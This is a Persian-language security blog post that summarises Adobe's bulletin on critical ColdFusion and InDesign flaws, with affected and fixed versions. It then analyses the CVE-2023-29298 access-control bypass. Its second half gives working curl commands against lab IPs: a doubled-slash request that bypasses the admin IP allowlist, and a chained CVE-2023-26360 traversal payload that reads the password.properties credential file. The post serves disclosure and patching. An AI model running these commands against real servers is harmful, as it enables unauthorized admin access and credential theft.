کمپانی Adobe در بولتن امنیتیش اعلام کرده که چندین آسیب پذیری رو در محصولات ColdFusion و InDesign خودش اصلاح کرده . در مجموع 16 آسیب پذیری در این محصولات اصلاح شدن که 4 موردش بحرانی بوده و در این پست بررسیشون میکنیم. در انتها هم آسیب پذیر CVE-2023-29298 رو بررسی و اکسپلویت و با اکسپلویت CVE-2023-26360 زنجیر کردیم.
آسیب پذیری CVE-2023-29308 :
آسیب پذیری از نوع Out-of-bounds Write و در محصول InDesign هستش و امکان اجرای کد دلخواه رو میده. شدت اون بحرانی و امتیاز 7.8 داره. برای اکسپلویت نیاز به تعامل کاربر هستش چون باید یه فایل مخرب رو باز کنه.
نسخه های تحت تاثیر :
Product |
Affected version |
Platform |
Adobe InDesign |
ID18.3 and earlier version |
Windows and macOS |
Adobe InDesign |
ID17.4.1 and earlier version |
Windows and macOS |
نسخه اصلاح شده :
Product |
Updated version |
Platform |
Priority rating |
Adobe InDesign |
ID18.4 |
Windows and macOS |
3 |
Adobe InDesign |
ID17.4.2 |
Windows and macOS |
3 |
آسیب پذیری CVE-2023-29300 :
آسیب پذیری از نوع Deserialization of Untrusted Data هستش و در محصول ColdFusion رخ میده. شدت بحرانی و امتیاز 9.8 داره. مهاجم امکان اجرای کد دلخواه رو داره. برای اکسپلویت نیاز به تعامل کاربر نیست. از این آسیب پذیری در حملاتی سوء استفاده شده . برای این آسیب پذیری تمپلیت Nuclei هم منتشر شده.
نسخه های تحت تاثیر :
Product |
Update number |
Platform |
ColdFusion 2018 |
Update 16 and earlier versions |
All |
ColdFusion 2021 |
Update 6 and earlier versions |
All |
ColdFusion 2023 |
GA Release (2023.0.0.330468) |
All |
نسخه های اصلاح شده :
Product |
Updated Version |
Platform |
Priority rating |
Availability |
---|---|---|---|---|
ColdFusion 2018 |
Update 17 |
All |
1 |
|
ColdFusion 2021 |
Update 7 |
All |
1 |
|
ColdFusion 2023 |
Update 1 |
All |
1 |
همچنین توصیه شده ، ColdFusion JDK/JRE رو به آخرین نسخه LTS برای JDK 17 ارتقاء بدن .
آسیب پذیری CVE-2023-38203 :
آسیب پذیری از نوع Deserialization of Untrusted Data هستش و در محصول ColdFusion رخ میده. شدت بحرانی و امتیاز 9.8 داره. مهاجم امکان اجرای کد دلخواه رو داره.
نسخه های تحت تاثیر:
Product |
Update number |
Platform |
ColdFusion 2018 |
Update 17 and earlier versions |
All |
ColdFusion 2021 |
Update 7 and earlier versions |
All |
ColdFusion 2023 |
Update 1 and earlier versions |
All |
نسخه های اصلاح شده :
Product |
Updated Version |
Platform |
Priority rating |
Availability |
---|---|---|---|---|
ColdFusion 2018 |
Update 18 |
All |
1 |
|
ColdFusion 2021 |
Update 8 |
All |
1 |
|
ColdFusion 2023 |
Update 2 |
All |
1 |
همچنین توصیه شده ، ColdFusion JDK/JRE رو به آخرین نسخه LTS برای JDK 17 ارتقاء بدن .
آسیب پذیری CVE-2023-29298 :
آسیب پذیری از نوع Improper Access Control و در محصول ColdFusion رخ میده و امکان دور زدن ویژگی های امنیتی رو فراهم میکنه. شدت بحرانی و امتیاز 7.5 داره. برای اکسپلویت نیاز به تعامل کاربر نیست. مهاجم با اکسپلویت این آسیب پذیری میتونه به نقاط پایانی مدیریتی CFM و CFC در مسیر /CFIDE/
دسترسی داشته باشه. مثلا در ColdFusion 2021 Update 6 حدود 437 فایل CFM و 96 فایل CFC در این مسیر وجود داره. البته دسترسی به این منابع به معنی استفاده از اونا توسط مهاجم نیست چون خیلی از این فایلها قبل از اجرا، وجود جلسه مجاز رو بررسی میکنن.اما در کل مهاجم میتونه با دسترسی به این منابع :
- اگه اعتبارنامه معتبری داشته باشه میتونه وارد ColdFusion Administrator بشه.
- میتونه حمله بروت فروس روی این اعتبارنامه ها انجام بده.
- میتونه اطلاعات حساس رو افشاء کنه.
برای آسیب پذیری تمپلیت Nuclei هم منتشر شده.
نسخه های تحت تاثیر :
Product |
Update number |
Platform |
ColdFusion 2018 |
Update 16 and earlier versions |
All |
ColdFusion 2021 |
Update 6 and earlier versions |
All |
ColdFusion 2023 |
GA Release (2023.0.0.330468) |
All |
نسخه های اصلاح شده :
Product |
Updated Version |
Platform |
Priority rating |
Availability |
---|---|---|---|---|
ColdFusion 2018 |
Update 17 |
All |
1 |
|
ColdFusion 2021 |
Update 7 |
All |
1 |
|
ColdFusion 2023 |
Update 1 |
All |
1 |
همچنین توصیه شده ، ColdFusion JDK/JRE رو به آخرین نسخه LTS برای JDK 17 ارتقاء بدن .
آنالیز آسیب پذیری CVE-2023-29298 :
Adobe ColdFusion یه پلتفرم توسعه هستش که از CFML برای ساخت سریع برنامه های وب مدرن استفاده میکنه.
آسیب پذیری در کل امکان دور زدن کنترل دسترسی رو به مهاجم میده. این ویژگی یه لیست مجاز از آدرس های IP خارجی رو ایجاد میکنه که مجاز به دسترسی به نقاط پایانی ColdFusion Administrator در وب سرور ColdFusion هستن. در نتیجه اگه درخواستی غیر از این لیست باشه، مسدود میشه. این کنترل دسترسی ، دسترسی به مسیرهای زیر رو محدود میکنه :
1 2 3 4 5 6 7 8 |
/restplay /CFIDE/restplay /CFIDE/administrator /CFIDE/adminapi /CFIDE/main /CFIDE/componentutils /CFIDE/wizards /CFIDE/servermanager |
چندین Java servlet ، کنترل دسترسی رو روی منابع در معرض دیدشون اعمال میکنن:
- coldfusion.CfmServlet : که همه درخواستها به نقاط پایانی ColdFusion Module (CFM) رو مدیریت میکنه.
- coldfusion.xml.rpc.CFCServlet : که همه درخواستها به نقاط پایانی ColdFusion Markup Language (CFML) و ColdFusion Component (CFC) رو مدیریت میکنه.
- coldfusion.rds.RdsGlobals : که درخواستها به ویژگی Remote Development Service (RDS) رو مدیریت میکنه.
ویژگی کنترل دسترسی در کلاس coldfusion.filter.IPFilterUtils پیاده سازی شده و متد checkAdminAccess منطق کنترل دسترسی را مطابق شکل زیر پیاده سازی میکنه:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
public class IPFilterUtils { private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" }; public static void checkAdminAccess(HttpServletRequest req) { String uri = req.getRequestURI(); String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase(); for (String path : PATHS) { if (uriToMatch.startsWith(path)) { String ip = req.getRemoteAddr(); if (!isAllowedIP(ip)) throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip); break; } } } |
در خط دوم کد بالا، مسیرهای حساس رو داریم. اگه درخواستی با این مسیرهای حساس شروع بشه، IP بررسی میشه ، اگه مجاز بود که هیچ اگه نه که یه استثناء ایجاد میشه که منجر به رد درخواست میشه.
با توجه به اینکه مسیرهای درخواستی توسط java.lang.String.startsWith
بررسی میشن، میشه این فرایند رو با قرار دادن یه کاراکتر / اضافی دور زد. یعنی اگه شما مسیر "CFIDE/adminapi/"
رو بخوای، با تغییر اون به "CFIDE/adminapi//"
این ویژگی امنیتی رو دور میزنید.
اکسپلویت CVE-2023-29298 :
برای اکسپلویت میتونید از cURL استفاده کنیم. فقط یه نکته ای که هست اگه در لینوکس این دستورات رو اجرا میکنید بجای ^ از / استفاده کنید.
خب فرض کنید میخواییم متد wizardHash رو در مسیر “CFIDE/wizards/common/utils.cfc/” رو فراخوانی کنیم :
1 |
curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo |
شکل زیر نشون میده که این درخواست به دلیل کنترل دسترسی اجرا نمیشه :
اما اگه دستور زیر رو با یه / اضافی ارسال کنیم :
1 |
c:\> curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo |
همونطور که مشاهده میکنید، کنترل دسترسی دور خورد.
اگه بخواییم به رابط مدیریتی ColdFusion Administrator از طریق یه مرورگر و یه IP خارجی غیرمجاز دسترسی داشته باشیم، خطای زیر رو میگیریم :
اما اگه بازم اسلش رو دوبرابر کنیم ، میتونیم بهش دسترسی داشته باشیم. اینجا مهاجم اگه اعتبارنامه معتبری داشته باشه میتونه وارد بشه یا هم که حملات بروت فورس پیاده سازی کنه.
زنجیره کردن آسیب پذیری CVE-2023-29298 :
یه نکته دیگه اینکه میشه این آسیب پذیری رو با آسیب پذیری های دیگه زنجیره کرد. مثلا میشه این آسیب پذیری رو با آسیب پذیری CVE-2023-26360 که امکان خوندن فایل دلخواه یا اجرای کد رو میده ترکیب کرد. برای اینکه مهاجم بتونه آسیب پذیری CVE-2023-26360 رو اکسپلویت کنه باید یه نقطه پایانی معتبر CFC روی تارگت درخواست کنه. خب همونطور که بالا مشاهده کردیم چنین نقاط پایانی در ColdFusion Administrator وجود داره. اکسپلویت CVE-2023-26360 برای خوندن فایل password.properties از طریق دستور زیر امکان پذیر هستش :
1 |
c:> curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}" |
اما اگه کنترل دسترسی رو داشته باشیم، درخواست بالا اجرا نمیشه :
خب ما میتونیم با استفاده از CVE-2023-29298 کنترل دسترسی رو دور بزنیم و با CVE-2023-26360 اکسپلویت رو کامل کنیم. برای این منظور از دستور زیر استفاده میکنیم :
1 |
c:> curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}" |
همونطور که مشاهده میکنید ، به راحتی تونستیم محتویات فایل password.properties رو بخونیم.
منابع :